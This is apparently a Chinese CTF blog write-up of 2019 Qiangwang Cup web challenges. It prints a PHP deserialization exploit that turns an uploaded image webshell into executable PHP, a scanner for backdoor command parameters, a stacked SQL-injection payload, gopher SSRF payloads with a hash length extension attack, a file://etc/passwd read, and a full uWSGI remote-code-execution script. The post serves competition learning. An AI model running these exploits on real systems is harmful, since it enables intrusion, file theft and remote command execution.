2019 强网杯部分Web题及解题思路

96
Cyc1e
0.1 2019.05.31 09:09* 字数 1643

0x01 upload

扫描得到源码文件:www.tar.gz,所以这道题目主要就是代码审计的工作,网站的主体功能代码在:application\web,漏洞触发点在Porfile

if($this->ext) {    if(getimagesize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);   
    $this->img="../upload/$this->upload_menu/$this->filename";  
    $this->update_img();    
}
else{
    $this->error('Forbidden type!', url('../index'));
    }
}
else{   
        $this->error('Unknow file type!', url('../index'));
}

也就是说如果ext为1的话,就会执行copy操作,把最初上传的文件copy重命名为filename,所以利用逻辑就是上传一个图片木马,然后出发copy更名为一个.php文件就行了。

登录后在INDEX.php文件中对cookie进行了反序列化操作,在Register类中实例化了Profile类,所以最终的漏洞利用逻辑:

  1. 注册一个账号,登录后上传一张图片木马。
  2. 构造序列化,实例化Register,在Register中实例化Profile,将ext设置为1,filename_tmp为上传的图片地址,filename设置为php名称,except设置为array('index'=>'upload_img')。
  3. 登录帐号,将cookie修改为构造序列化输出的并base64编码的数据,直接请求触发就可以触发漏洞。

这里直接贴exp

<?php
namespace app\web\controller;
//include('Index.php');

class Index{}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $ext;
    public $except;

    public function upload_img(){
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}


class Register
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

$check = new Register();
$check->registed=0;
$check->checker=new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.php";
$payload = base64_encode(serialize($check));
print_r($payload);

利用成功后直接将jpg文件copy为php文件,就可以触发一句话木马了(我都不知道我为何要传一个601K的文件,执行命令卡飞了)

修改完成

image

这个题目环境会有问题,再加上我本地namespace环境出了丢丢问题,成功让我丢了2血拿了4血,难受。

0x02 高明的黑客

下载www.tar.gz后发现是3000多个“木马”文件,简单审计一下发现虽然有很多命令执行的地方,但在此之前都已经将GET或POST参数赋空值,或者加上恒为假的if判断,在于找不到路的时候又肯定不是每个都去看的情况下,于是乎写了个脚本提取每个文件中的GET、POST参数,这些参数可能传入的是assert和eval,或者传入了system和反引号,利用本地测试判断能否命令执行,最终在测试GET参数的过程中发现其中一个能用的shell并且获得其参数,是直接命令执行的,被自己操作骚到。这里贴下跑出这个的脚本(Very easy,写了好几个一起跑的)

import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
    url = 'http://127.0.0.1/src/'+i
    f = open('./src/'+i)
    data = f.read()
    f.close()
    reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
    params = reg.findall(data)
    for j in params:    
        payload = url + '/?' + j + '=echo 123456123456123456123456'
        print payload
        req=requests.get(payload)
        if '123456123456123456123456' in req.content:
            print payload
            exit();

跑出来了- -..

直接拿去环境cat /flag下就好了,最后捡了个第六解,这题的正解是PHP动态调用分析,就不再介绍了
flag

0x03 随便注

如题名描述,是一道注入题(注不出来的时候一度怀疑题目名全称是不是,随便注,反正你注不出来),Fuzz一下,可以发现过滤规则return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);所以就是没法通过select和'.'来读表和数据的意思咯,不过可以通过报错注入出来的数据库名(supersqli)、用户等信息(果然是随便注),所以执行的SQL语句肯定是select * from supersqli.table_name where id='' ;一番云雨测试后,确定了这是一个堆叠注入,就是可以一次性执行多条sql语句,

’;show tables from supersqli;#

得到所有表名,另一张表名是1919810931114514

’;show cloumns from 1919810931114514;#

得到了1919810931114514表中的所有列名,其中包含了flag列,最后操作的思路是,把1919810931114514表改名为words,这样在后台SQL语句不变的情况下仍然可以查询得到flag的内容,改成words前得先把words改成其他的,如果一条一条执行,那改完words题目就崩了,所以一样堆叠执行,一次性完成在1919810931114514中插入id列,words改名,1919810931114514改为words,payload如下:

';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;

直接查询就可以得到原1919810931114514表中的内容,也就是flag了。

image

0x04 上单

thinkphp5.0.*任意代码执行,EXP一把梭就好了

image

0x05 智能门锁

(自己没图,盗了W&M大兄弟的图)
这题在比赛期间的思路被带错了,这里把操作写一下。在刚开始的时候非预期拿到了school那的一个流量包,出题人没加forbidden,所以访问到uploads的时候就直接列出来了,因为school做了ip限制,


IP限制

设置client

所以进入school的时候需要设置clint-ip进行访问,当时拿到流量包的时候因为超前了,不知道有啥用......(虽然说后来也不知道有啥用),通过分析流量包我们知道了门锁的IP以及端口还有发送的数据。


流量

并且进入demo的时候,可以看到下载固件v2的地址,不过又提示说v2修复了漏洞,那意思就是说v1的有洞了,下载链接上把v2改成v1就可以下载到v1了,所以意思就是怼固件咯,下载下来的文件改后缀为zip,里面是一个hex文件,一番云雨,对web狗来说太难了,不过我们有v1的流量包了,v1和v2开门流量应该是一样的,我们只要改一个版本号就行了,如果可以篡改门锁的时间戳就可以进行重放,然后这里的签名方法是存在哈希长度扩展攻击。,我们直接拿流量包里面同步时间截的数据包去进行扩展攻击,所以payload为
/get_info.php?url=gopher://10.2.3.103:2333/_%26%02%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%00%12
/get_info.php?url=gopher://10.2.3.103:2333/_%AC%02%B5%5E%97%0E%D5%8B%92%3F%2C%27%02%BD%C8%87%1B%5E%22%3B%BA%B8%A2%EA%6B%4C%72%BD%D4%9D%6D%4D%4F%CF%5C%CB%DA%D1%10%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%04%66%2D%38%22
/get_info.php?url=gopher://10.2.3.103:2333/_%28%02%70%C8%96%BB%5A%A8%44%F8%48%CD%EE%8C%05%42%BF%43%8D%3C%8A%A7%E4%3B%D0%9C%E4%E4%35%1D%B0%00%E7%FF%5C%CB%DA%D2%20%01%F0

babywebbb

这题一开始路走错了(枯死),证书里写了52dandan.xyz,去年是52dandan.cc,所以肯定是个渗透题,在www.52dandan.xyz上扫了一波,发现了各种提权脚本,我还以为是要怼下www.52dandan.xyz,然后在内网对题目......
第二天才知道原来不是www.52dandan.xyz,是qqwwwwbbbb.52dandan.xyz......所以改下hosts就可以访问到题目了,并且前期扫端口的时候873是开的,刚好有rsync泄漏,里面可以下载到qqwwwwbbbb.52dandan.xyz上的源码,分析源码其中graphQL的API服务存在注入,可以直接利用万能密码登录,并且user.py上有个system操作,可以直接ssrf

user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
    url = unquote(request.form.get('newurl'))
    if re.match("^[A-Za-z0-9-_%:./]*$",url):
        filename = ramdom_str()
        command = "curl {} > /tmp/{}".format(url, filename)
        os.system(command)
        with open("/tmp/{}".format(filename),"rb") as res:
            res_data = res.read()
            res_data = base64.b64encode(res_data)
            return res_data
    return ""

所以构造下注入登入,然后ssrf一波就可以读文件了

URL:https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg
POST:newurl=file://etc/passwd

读nigix的配置文件后知道服务器配有uwsgi服务


nigix配置

github上有个uwsgi的RCE脚本

#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose

import sys
import socket
import argparse
import requests
import urllib

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    if sys.version_info[0] == 3: import bytes
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    # print(urlencode(result))
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)

    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    tmp = (pack_uwsgi_vars(var) + body.encode('utf8'))
    tmp=urllib.quote(tmp)
    print(tmp)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff. 
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload,
        'SCRIPT_NAME': target_url
    }
    return ask_uwsgi(addr_and_port, mode, var)


def main(*args):
    desc = """
    This is a uwsgi client & RCE exploit.
    Last modifid at 2018-01-30 by wofeiwo@80sec.com
    """
    elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
    
    parser = argparse.ArgumentParser(description=desc, epilog=elog)

    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])

    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
                        help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
                        dest='uwsgi_addr')

    parser.add_argument('-c', '--command', nargs='?', required=True,
                        help='Command: The exploit command you want to execute, must have this.',
                        dest='command')

    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    if args.mode.lower() == "http":
        print("[-]Currently only tcp/unix method is supported in RCE exploit.")
        return
    payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
    # print(payload)
    print("[*]Sending payload.")
    print payload
    print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

if __name__ == '__main__':
    main()

打印出gohper,通过ssrf用python的反弹shell操作打一波3031端口就好了,就可以拿到shell(继续盗bertram图)


gopher

image

提示有socks代理,扫一波发现172.16.17.4有1080端口,所以做个代理就好了,师傅们都用ew的,这个就不介绍了,转发出来了就直接用公网打就好了,并且官方最后公布了内网服务的源码,其实在内网的时候有着各个师傅们搭好的路,直接抄作业就好了,2333,执行流程应该是是(改bertram表述),构造反序列化payload
User 1 -> POST /adduser username=payload&password=
User 1 -> /savelog 修改 User2 session
User 2 -> 登录触发反序列化
User 2 -> getflag
(最后的我没测,打完就跑路了,被自己菜哭了)

0x06 babywp

webpwn,果断放弃,看官方WP就好了

CTF之路